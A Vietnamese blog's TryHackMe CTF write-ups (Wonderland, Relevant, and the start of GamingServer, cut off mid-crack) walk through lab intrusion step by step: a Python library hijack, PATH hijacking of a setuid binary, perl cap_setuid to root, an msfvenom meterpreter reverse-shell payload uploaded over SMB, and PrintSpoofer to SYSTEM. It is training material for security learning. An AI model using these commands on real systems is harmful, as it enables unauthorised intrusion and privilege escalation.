Tryhackme - Wonderland

  1. Reconnaissance
  2. SSH
  3. Privilege escalation
  4. Conclusion

Xin chào, Lẩu đây. Hôm này tôi sẽ giải CTF Tryhackme - Wonderland

Reconnaissance

Vẫn như thông thường thôi, việc đầu tiên là quét các cổng đang mở.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe20sKMgKSMTnyRTmZhXPxn+xLggGUemXZLJDkaGAkZSMgwM3taNTc8OaEku7BvbOkqoIya4ZI8vLuNdMnESFfB22kMWfkoB0zKCSWzaiOjvdMBw559UkLCZ3bgwDY2RudNYq5YEwtqQMFgeRCC1/rO4h4Hl0YjLJufYOoIbK0EPaClcDPYjp+E1xpbn3kqKMhyWDvfZ2ltU1Et2MkhmtJ6TH2HA+eFdyMEQ5SqX6aASSXM7OoUHwJJmptyr2aNeUXiytv7uwWHkIqk3vVrZBXsyjW4ebxC3v0/Oqd73UWd5epuNbYbBNls06YZDVI8wyZ0eYGKwjtogg5+h82rnWN
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHH2gIouNdIhId0iND9UFQByJZcff2CXQ5Esgx1L96L50cYaArAW3A3YP3VDg4tePrpavcPJC2IDonroSEeGj6M=
|   256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsWAdr9g04J7Q8aeiWYg03WjPqGVS6aNf/LF+/hMyKh
80/tcp open  http    syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tôi sẽ bắt đầu với web server.

index.html

Chỉ là 1 trang html đơn giản. Tôi thử qua các path đơn giản và phổ biến như robots.txt hay thử check qua index.php đều không có kết quả. Vẫn phải dùng tool để tìm web path thôi, tôi sẽ dùng dirsearch.

[05:44:38] 301 - 0B - /r -> r/

path r

Cũng không có gì đặc biệt. Tôi sẽ thử 1 lần dùng dirsearch nữa để xem đằng sau path /r này có gì không.

[05:45:23] 301 - 0B - /r/a -> a/

path /a

Vẫn chưa có gì để khai thác ở đây. Nhưng tôi có 1 ý tưởng về mấy cái path này, tôi sẽ thử thêm 1 lần dirsearch nữa cho chắc chắn.

[05:56:29] 301 - 0B - /r/a/b -> b/

path /b

Vậy thì rất có thể những path sau là các chữ cái tạo nên từ rabbit. Để tránh mất thời gian thì tôi sẽ thử luôn.

path /b

path /i

path /r

Check qua source web thì tôi tìm được 1 thứ hay ho có thể là username và password để đăng nhập SSH.

<!DOCTYPE html>

<head>
    <title>Enter wonderland</title>
    <link rel="stylesheet" type="text/css" href="[/main.css](view-source:http://10.10.185.15/main.css)">
</head>

<body>
    <h1>Open the door and enter wonderland</h1>
    <p>"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."</p>
    <p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
    </p>
    <p>"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
        the other paw, "lives a March Hare. Visit either you like: theyre both mad."</p>
    <p style="display: none;">alice:***************************************</p>
    <img src="[/img/alice_door.webp](view-source:http://10.10.185.15/img/alice_door.webp)" style="height: 50rem;">
</body>

SSH

Thử login ssh

┌──(neokali)-[~]
└─$ ssh alice@10.10.185.15                       
The authenticity of host '10.10.185.15 (10.10.185.15)' can't be established.
ED25519 key fingerprint is SHA256:Q8PPqQyrfXMAZkq45693yD4CmWAYp5GOINbxYqTRedo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.185.15' (ED25519) to the list of known hosts.
alice@10.10.185.15's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Aug 10 10:05:04 UTC 2022

  System load:  0.0                Processes:           84
  Usage of /:   18.9% of 19.56GB   Users logged in:     0
  Memory usage: 29%                IP address for eth0: 10.10.185.15
  Swap usage:   0%


0 packages can be updated.
0 updates are security updates.


Last login: Mon May 25 16:37:21 2020 from 192.168.170.1
alice@wonderland:~$ 

Trong user alice tôi có 2 file là root flag và 1 file python nhưng tất nhiên là không có quyền mở rồi. Tuy nhiên khi thử sudo -l tôi nhận ra user rabbit có quyền chạy file py.

import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done —
"It’s very rude of him," she said,
"To come and spoil the fun!"

The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head —
There were no birds to fly.

The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"

"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.

"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."

The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head —
Meaning to say he did not choose
To leave the oyster-bed.

But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat —
And this was odd, because, you know,
They hadn’t any feet.

Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more —
All hopping through the frothy waves,
And scrambling to the shore.

The Walrus and the Carpenter
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.

"The time has come," the Walrus said,
"To talk of many things:
Of shoes — and ships — and sealing-wax —
Of cabbages — and kings —
And why the sea is boiling hot —
And whether pigs have wings."

"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.

"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed —
Now if you’re ready Oysters dear,
We can begin to feed."

"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?

"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf —
I’ve had to ask you twice!"

"It seems a shame," the Walrus said,
"To play them such a trick,
After we’ve brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter’s spread too thick!"

"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.

"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Qua google tôi biết được đây là 1 bài thơ trong phim Alice in wonderland cũng là cảm hứng dựng nên CTF này. Khi chạy file py này, nó sẽ chọn ngẫu nhiên 10 dòng và in ra màn hình kể cả dòng trống.

alice@wonderland:~$ python3 walrus_and_the_carpenter.py 
The line was:    The Carpenter said nothing but
The line was:    Because she thought the sun
The line was:    The sun was shining on the sea,
The line was:    And scrambling to the shore.
The line was:    The Walrus did beseech.
The line was:    To give a hand to each."
The line was:    
The line was:    I’ve had to ask you twice!"
The line was:    All hopping through the frothy waves,
The line was:    Holding his pocket handkerchief
alice@wonderland:~$ 

Privilege escalation

Thực sự là tôi đã mất cả 1 buổi sáng để tìm cách khai thác file py này nhưng đều không có tác dụng. Và trong khi lần mò 1 cách vô vọng trên google về các lỗ hổng với file python, tôi tìm thấy cách leo thang đặc quyền bằng thư viện python.

Khi chạy file, python sẽ tìm đến thư mục chứa các gói được import theo thứ tự ưu tiên. Ở đây, trong thư viện của python 3.6 có file random.py nên thay vì để tập lệnh gọi file này, tôi sẽ tạo 1 file random.py chứa payload ở ngay trong thư mục alice.

Tạo file random.py:

import os
os.system("/bin/bash")

Chạy lại file python với user rabbit xem có gì xảy ra không

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 
[sudo] password for alice: 
rabbit@wonderland:~$ pwd
/home/alice

Vào thư mục của user rabbit

rabbit@wonderland:/home/rabbit$ ll
total 40
drwxr-x--- 2 rabbit rabbit  4096 May 25  2020 ./
drwxr-xr-x 6 root   root    4096 May 25  2020 ../
lrwxrwxrwx 1 root   root       9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit   220 May 25  2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit  3771 May 25  2020 .bashrc
-rw-r--r-- 1 rabbit rabbit   807 May 25  2020 .profile
-rwsr-sr-x 1 root   root   16816 May 25  2020 teaParty*
rabbit@wonderland:/home/rabbit$ file teaParty 
teaParty: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=75a832557e341d3f65157c22fafd6d6ed7413474, not stripped

Thử chạy file binary này

rabbit@wonderland:/home/rabbit$ ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Thu, 11 Aug 2022 10:10:09 +0000
Ask very nicely, and I will give you some tea while you wait for him
kk
Segmentation fault (core dumped)

Tạm thời tôi chưa có ý tưởng gì về file này nên sẽ lấy nó về máy để phân tích.

┌──(neokali)-[~]
└─$ wget http://10.10.165.85:8001/teaParty
--2022-08-11 05:12:17--  http://10.10.165.85:8001/teaParty
Connecting to 10.10.165.85:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16816 (16K) [application/octet-stream]
Saving to: teaParty

teaParty                                        100%[====================================================================================================>]  16.42K  52.1KB/s    in 0.3s    

2022-08-11 05:12:18 (52.1 KB/s) - teaParty saved [16816/16816]

┌──(neokali)-[~]
└─$ strings teaParty 
/lib64/ld-linux-x86-64.so.2
2U~4
libc.so.6
setuid
puts
getchar
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
Welcome to the tea party!
The Mad Hatter will be here soon.
/bin/echo -n 'Probably by ' && date --date='next hour' -R
Ask very nicely, and I will give you some tea while you wait for him
Segmentation fault (core dumped)
;*3$"
GCC: (Debian 8.3.0-6) 8.3.0
crtstuff.c
deregister_tm_clones
...

Ở đây, để lấy được thời gian, file sẽ chạy 1 lệnh date nhưng không xác định địa chỉ cụ thể date này nằm ở đâu. Tôi hoàn toàn có thể tạo 1 file thực thi có tên date bên trong thư mục /tmp

#!/bin/bash
echo ""
/bin/bash

Thay đổi quyền cho file bằng chmod +x /tmp/date và thêm path /tmp vào đầu biến PATH để khi chạy file teaParty nó sẽ nhận path /tmp đầu tiên.

rabbit@wonderland:/home/rabbit$ chmod +x /tmp/date 
rabbit@wonderland:/home/rabbit$ export PATH=/tmp:$PATH
rabbit@wonderland:/home/rabbit$ echo $PATH
/tmp:/tmp:/home/rabbit:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
rabbit@wonderland:/home/rabbit$ ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by 
1337
hatter@wonderland:/home/rabbit$ 
hatter@wonderland:/home/hatter$ ls 
password.txt

Vậy là tôi có password của user hatter. Thử login ssh bằng user này. Tuy nhiên thử cả sudo -l, crontab hay tìm file do hatter sở hữu đều không có kết quả. Đến bây giờ thì phải dùng đến linpeas. Tạo http server từ máy local và tải file lên thôi. Sau đó đổi quyền cho file và để nó làm phần việc của mình.

hatter@wonderland:~$ wget http://10.18.3.74:9001/linpeas.sh
--2022-08-11 10:05:56--  http://10.18.3.74:9001/linpeas.sh
Connecting to 10.18.3.74:9001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 777018 (759K) [text/x-sh]
Saving to: linpeas.sh

linpeas.sh                                      100%[====================================================================================================>] 758.81K   141KB/s    in 5.4s    

2022-08-11 10:06:02 (141 KB/s) - linpeas.sh saved [777018/777018]
hatter@wonderland:~$ chmod +x linpeas.sh 
hatter@wonderland:~$ ./linpeas.sh 

Cuối cùng thì tôi cũng tìm được thứ mình cần

Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
hatter@wonderland:~$ ll /usr/bin/perl /usr/bin/perl5.26.1
-rwxr-xr-- 2 root hatter 2097720 Nov 19  2018 /usr/bin/perl*
-rwxr-xr-- 2 root hatter 2097720 Nov 19  2018 /usr/bin/perl5.26.1*

Điều này có nghĩa là user hatter có quyền thực thi cũng như quản lý nó. Thử vào GTFOBins để tìm perl với Capabilities.

perl capabilities

hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
# ls /root
user.txt

Cuối cùng là lấy user flagroot flag thì nằm trong thư mục alice.

Conclusion

Tổng kết về bài thì phần thu thập thông tin cũng không có gì nhiều và tập trung chủ yếu vào việc nâng cao kỹ năng leo thang đặc quyền trên linux. Và tôi biết thêm 1 cách khai thác lỗi mới thông qua các thư viện python - Python Library Hijacking. Nó sẽ rất hữu ích với các tệp lệnh python được chạy với đặc quyền cao.

Ngoài ra, trong khi tìm hiểu về SUIDGUID, tôi biết thêm được 1 kiểu phân quyền nữa là sticky bit. Trong 1 vài trường hợp, nó cũng khá hữu ích để khai thác trong việc đọc hay ghi file với đặc quyền được chỉ định cụ thể.

Đọc thêm: Sticky bit

Đọc thêm: Linux Capabilities

Tryhackme - Relevant

  1. Reconnaissance
  2. Privilege escalation
  3. Conclusion

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Relevant

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở của ip mục tiêu.

PORT      STATE SERVICE       REASON  VERSION
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  syn-ack Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=Relevant
| Issuer: commonName=Relevant
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-08T07:29:30
| Not valid after:  2023-02-07T07:29:30
| MD5:   58fd 9021 e69c 979c b9b2 83b3 5b20 59e1
| SHA-1: 5f3c 2cb7 9ff0 b109 443b 9813 6fad 5768 a5c8 03e4
| -----BEGIN CERTIFICATE-----
| MIIC1DCCAbygAwIBAgIQI/Rvv/LKG6hAIETCfD4qYzANBgkqhkiG9w0BAQsFADAT
| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yMjA4MDgwNzI5MzBaFw0yMzAyMDcwNzI5
| MzBaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAridw40n6SvFc+v8JUCzyg/kr4MHV6PuHxOSUa0ULDlwkoSYBJeWa
| jouI1vOzfKyZe9t6J6xiyaG3cMu7gBswCVemW3JaUSq3M0KpJTXMGZq/UGU87TxD
| TIsgEwVxX8FyzANIDk1a4st+6xFQeES33zXBlsGbVidxW7Shh3hPAKa5tt/u1xYO
| md9Wg+amFM1mv+afZJ4LSEt7qfS35sqoOIqER0Na2HXS5CfcfRUc34QfOtPbaGsd
| 3zJfFh6idnIxWrWIMBzt5JJuG286zttjM1jZWIUuevA2kIgIlDf/5Pngnodc2sE4
| G7h24ATGycCUaymwpq4ocB7B3idm6ZnqpQIDAQABoyQwIjATBgNVHSUEDDAKBggr
| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAKrQPuiiz++z
| ufha6p579FYmyeHrzk1vDW9paLmFt3ic0E6E5GP25/NfwlObSmXwbr+1seFJf00Z
| SqF2u730F44xdTGzT11gLub69fcXRFerO251m5XwabPmhsHehs0jTYd85wbU2u4t
| hGa+U8WZCFRPk+mAIkTOB3yMRjQEG0FQzQZEL/7BX1/RPdgWhB0eDeNoYEMw64wH
| MT0+4/BTFwxiRqylzbExqec8bxTN58KGIDGemMHYYyBGMlg4Wmb+t+dXPEIBeCOf
| +/2+Kr2+63Hcfs9Byl79YftuK8LyXYkFfBRShNvoSi/WukJa/qCyQfUvAGcZC2QW
| rpp8f0Bu6ac=
|_-----END CERTIFICATE-----
|_ssl-date: 2022-08-09T07:35:45+00:00; -12s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2022-08-09T07:35:08+00:00
49663/tcp open  http          syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h23m48s, deviation: 3h07m51s, median: -12s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2022-08-09T07:35:07
|_  start_date: 2022-08-09T07:30:05
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-08-09T00:35:08-07:00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 58498/tcp): CLEAN (Timeout)
|   Check 2 (port 13141/tcp): CLEAN (Timeout)
|   Check 3 (port 46642/udp): CLEAN (Timeout)
|   Check 4 (port 13285/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Tôi có 1 Window server ở đây với port 139 và 445 của SMB service. Thử ghé qua 2 port này trước xem có khai thác được thông tin gì không.

┌──(neokali)-[~]
└─$ smbclient -L \\\\10.10.84.34
Password for [WORKGROUP\neo]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        nt4wrksv        Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.84.34 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Chúng ta có 1 folder tên nt4wrksv. Thử truy cập vào thư mục này và tôi có 1 file password.

┌──(neokali)-[~]
└─$ smbclient \\\\10.10.84.34\\nt4wrksv  
Password for [WORKGROUP\neo]:

Try "help" to get a list of possible commands.
smb: \> 
smb: \> dir
  .                                   D        0  Sat Jul 25 17:46:04 2020
  ..                                  D        0  Sat Jul 25 17:46:04 2020
  passwords.txt                       A       98  Sat Jul 25 11:15:33 2020

                7735807 blocks of size 4096. 4944824 blocks available
smb: \> get passwords.txt 
getting file \passwords.txt of size 98 as passwords.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Lấy nó về và xem bên trong có gì nào.

┌──(neokali)-[~]
└─$ cat passwords.txt  
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Tôi hay sử dụng web này để decrypt những base phổ biến như 16, 32, 64, v.v.. Với dòng đầu tiên tôi có user-pass của Bob và dòng thứ 2 là user-pass của Bill.

Do đây là window server nên tôi sẽ thử tạo Meterpreter payload và đẩy nó vào share file:

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.18.3.74 lport=2402 -f aspx -o shell.aspx

Ở đây tôi sử dụng msfvenom với:

-p: lựa chọn payload muốn đẩy

lhostlport là ip litsener của máy tôi

-f: chọn định dạng file sẽ xuất ra

-o: tạo file với tên shell.aspx

Chờ 1 lúc để file tạo thành công

smb: \> put /home/neo/shell.aspx shell.aspx
putting file /home/neo/shell.aspx as \shell.aspx (296.6 kb/s) (average 296.6 kb/s)
smb: \> dir
  .                                   D        0  Tue Aug  9 05:36:44 2022
  ..                                  D        0  Tue Aug  9 05:36:44 2022
  passwords.txt                       A       98  Sat Jul 25 11:15:33 2020
  shell.aspx                          A  1013006  Tue Aug  9 05:36:47 2022

                7735807 blocks of size 4096. 4912865 blocks available

Vậy là up shell thành công. Tạo listener với Metasploit

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp 
payload => windows/x64/meterpreter_reverse_tcp

Thiết lập LHOSTS và LPORT giống với trong payload vừa tạo

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.18.3.74:2402 

Sau đó tạo request đến web để mở file shell vừa up lên server. Tôi có 2 port tcp ở đây là 80 và 49663, sau khi thử cả 2 thì tôi có curl http://10.10.189.211:49663/nt4wrksv/shell.aspx

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

Và tôi tìm được user flag trong user Bob

c:\Users\Bob\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of c:\Users\Bob\Desktop

07/25/2020  02:04 PM    <DIR>          .
07/25/2020  02:04 PM    <DIR>          ..
07/25/2020  08:24 AM                35 user.txt
               1 File(s)             35 bytes
               2 Dir(s)  20,255,997,952 bytes free

Privilege escalation

Tôi check thử xem có các đặc quyền nào không

meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege

Tôi để ý có SeImpersonatePrivilege, tôi sẽ dùng payload này để thử lấy quyền SYSTEM.

Đầu tiên tạo file .exe

┌──(neokali)-[~/PrintSpoofer/PrintSpoofer]
└─$ sudo gcc PrintSpoofer.cpp -o PrintSpoofer.exe    
[sudo] password for neo: 
PrintSpoofer.cpp:3:10: fatal error: Windows.h: No such file or directory
    3 | #include <Windows.h>
      |          ^~~~~~~~~~~
compilation terminated.

Có vẻ như không chạy được bằng terminal, tôi phải tải vscode về để build file này. Nhưng tôi nhận ra để build được thì tôi lại phải tải Vs Studio và cài thêm C++, chỉ từng ấy thứ đã làm tôi muốn từ bỏ rồi. :sleepy:

May mắn là đã có người làm thay tôi việc đó up nó lên github, và nó ở đây. Bây giờ thì chỉ cần clone nó về và đẩy nó vào máy mục tiêu.

┌──(neokali)-[~/printspoofer]
└─$ smbclient \\\\10.10.114.141\\nt4wrksv        
Password for [WORKGROUP\neo]:
Try "help" to get a list of possible commands.
smb: \> put PrintSpoofer.exe 
putting file PrintSpoofer.exe as \PrintSpoofer.exe (29.4 kb/s) (average 29.4 kb/s)
smb: \> dir
  .                                   D        0  Wed Aug 10 00:03:19 2022
  ..                                  D        0  Wed Aug 10 00:03:19 2022
  passwords.txt                       A       98  Sat Jul 25 11:15:33 2020
  PrintSpoofer.exe                    A    27136  Wed Aug 10 00:03:19 2022
  shell.aspx                          A  1013006  Tue Aug  9 22:00:27 2022

                7735807 blocks of size 4096. 5158914 blocks available

Chạy lại meterpreter payload và thực hiện lại lệnh curl, sau đó tìm xem file exe vừa đẩy lên ở đâu.

c:\>dir "\PrintSpoofer.exe" /s
dir "\PrintSpoofer.exe" /s
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of c:\inetpub\wwwroot\nt4wrksv

Bây giờ thì lấy quyền admin thôi.

c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd \users\administrator\desktop
cd \users\administrator\desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is AC3C-5CB5

 Directory of C:\Users\Administrator\Desktop

07/25/2020  08:24 AM    <DIR>          .
07/25/2020  08:24 AM    <DIR>          ..
07/25/2020  08:25 AM                35 root.txt
               1 File(s)             35 bytes
               2 Dir(s)  21,130,473,472 bytes free

Conclusion

Tôi chưa có nhiều kiến thức về window nên thử thách này thực sự đã làm khó tôi đặc biệt là phần leo thang đặc quyền. Tôi sẽ phải học thêm và sẽ làm thêm các CTF của Windows.

Đọc thêm: SMB Enumeration & Exploitation & Hardening

Đọc thêm: Window Privilege Escalation

Tryhackme - GamingServer

  1. Reconnaissance
  2. SSH
  3. Privilege escalation
  4. Tổng kết

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - GamingServer

Reconnaissance

Vẫn như thông thường, việc đầu tiên là quét cổng.

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrmafoLXloHrZgpBrYym3Lpsxyn7RI2PmwRwBsj1OqlqiGiD4wE11NQy3KE3Pllc/C0WgLBCAAe+qHh3VqfR7d8uv1MbWx1mvmVxK8l29UH1rNT4mFPI3Xa0xqTZn4Iu5RwXXuM4H9OzDglZas6RIm6Gv+sbD2zPdtvo9zDNj0BJClxxB/SugJFMJ+nYfYHXjQFq+p1xayfo3YIW8tUIXpcEQ2kp74buDmYcsxZBarAXDHNhsEHqVry9I854UWXXCdbHveoJqLV02BVOqN3VOw5e1OMTqRQuUvM5V4iKQIUptFCObpthUqv9HeC/l2EZzJENh+PmaRu14izwhK0mxL
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEaXrFDvKLfEOlKLu6Y8XLGdBuZ2h/sbRwrHtzsyudARPC9et/zwmVaAR9F/QATWM4oIDxpaLhA7yyh8S8m0UOg=
|   256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOLrnjg+MVLy+IxVoSmOkAtdmtSWG0JzsWVDV2XvNwrY
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Chỉ có 2 port nên tôi sẽ bắt đầu với web server. Có vẻ đây là trang web của 1 tựa game, tôi thử check qua các path đơn giản thì tôi tìm được /robots.txt và bên trong đó là /uploads.

uploads

Tôi có 1 file dict là 1 list các từ thì có thể sẽ được dùng làm wordlist để bruteforce, 1 file txt và 1 bức ảnh. Cũng không có gì đặc biệt ở đây. Thử dùng dirsearch để check xem còn path nào nữa không, tôi tìm được /secret/. Trong này có 1 file rsa key. Tôi có thể dùng key này để login ssh chăng. Nhưng hiện tại tôi chưa có username nào.

Loanh quanh web 1 lúc thì tôi đã tìm được 1 cái tên trong source web.

<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->

Tuy nhiên, khi thử login ssh tôi được yêu cầu phải có passphrase. Vì vậy tôi sẽ dùng John-the-Ripper để crack passphrase từ key trên.

SSH

┌──(neokali)-[~]
└─$ ssh2john key > id_rsa.hash                                                                   
┌──(neokali)-[~]
└─$ john --wordlist=dict.lst id_rsa.hash 
Using default input encoding: UTF-8
